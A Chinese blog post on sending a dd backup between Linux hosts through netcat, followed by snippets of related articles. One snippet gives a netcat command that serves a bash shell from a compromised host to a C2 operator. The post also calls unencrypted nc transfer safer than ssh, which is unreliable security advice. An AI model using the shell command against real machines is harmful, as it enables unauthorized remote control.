dd命令在之前的文章中已經講解的很詳細了,這篇文章主要是dd結合nc這個強大的網路工具實現不同主機之間的遠端備份
預設的情況下rhel的系統都已經安裝了nc工具了
[root@client ~]#rpm -qf /usr/bin/nc//檢視nc依賴的軟體包
nc-1.84-22.el6.i686
1、接受備份的客戶端使用nc開啟乙個隨機的埠
[root@client ~]#nc -l 12345 | dd of=/tmp/test.dd
2、傳送備份端執行如下命令
[root@server ~]#dd if=facter-1.6.6.tar.gz | nc 192.168.1.200 12345是需要備份的檔名
記錄了230+1 的讀入
記錄了230+1 的寫出
117880位元組(118 kb)已複製,0.208046 秒,567 kb/秒
[root@server ~]#
3、檢視客戶端終端內容如下
[root@client ~]#nc -l 12345 | dd of=/tmp/test.dd
記錄了229+3 的讀入
記錄了230+1 的寫出
117880位元組(118 kb)已複製,4.71706 秒,25.0 kb/秒
[root@client ~]#
//說明接收完成
相比ssh來說個人認為要較安全一點,雖然過程稍微繁瑣一些。因為無需讓傳送方知道自己的密碼,只需接收方告訴傳送方開啟的埠號即可。
使用dd指令備份和恢復Ubuntu
linux自帶的dd指令可以備份分割槽。dd if dev 你需要備份的分割槽 of 輸出的映象路徑 status progress 如果ubuntu系統掛了。用u盤啟動臨時ubuntu,進入後,用 dd if 輸出的映象路徑 of dev 你需要備份的分割槽 status progress 進行恢...
nc 遠端控制
nc 做遠端控制 原理實際上和之前的傳文字一樣,伺服器端起監聽,客戶端端去鏈結,之後監聽的伺服器端傳乙個自己的shell過去到客戶端 正向 偵聽方為肉雞,c2 訪問肉雞 server nc lp 333 c bash client nc nv 1.1.1.1 333 或者反向 偵聽方為c2,肉雞訪問...
dd命令備份Linux系統
資料丟失帶來的損失是相當昂貴的。關鍵資料的丟失會對各種規模的企業帶來影響。有幾種方法來備份linux系統,包括rsync的和rsnapshot等。本文提供有關使用dd命令備份linux系統的6個例項。dd是乙個功能強大的unix工具,由linux核心的makefile進行引導映像,它也可以用來複製資...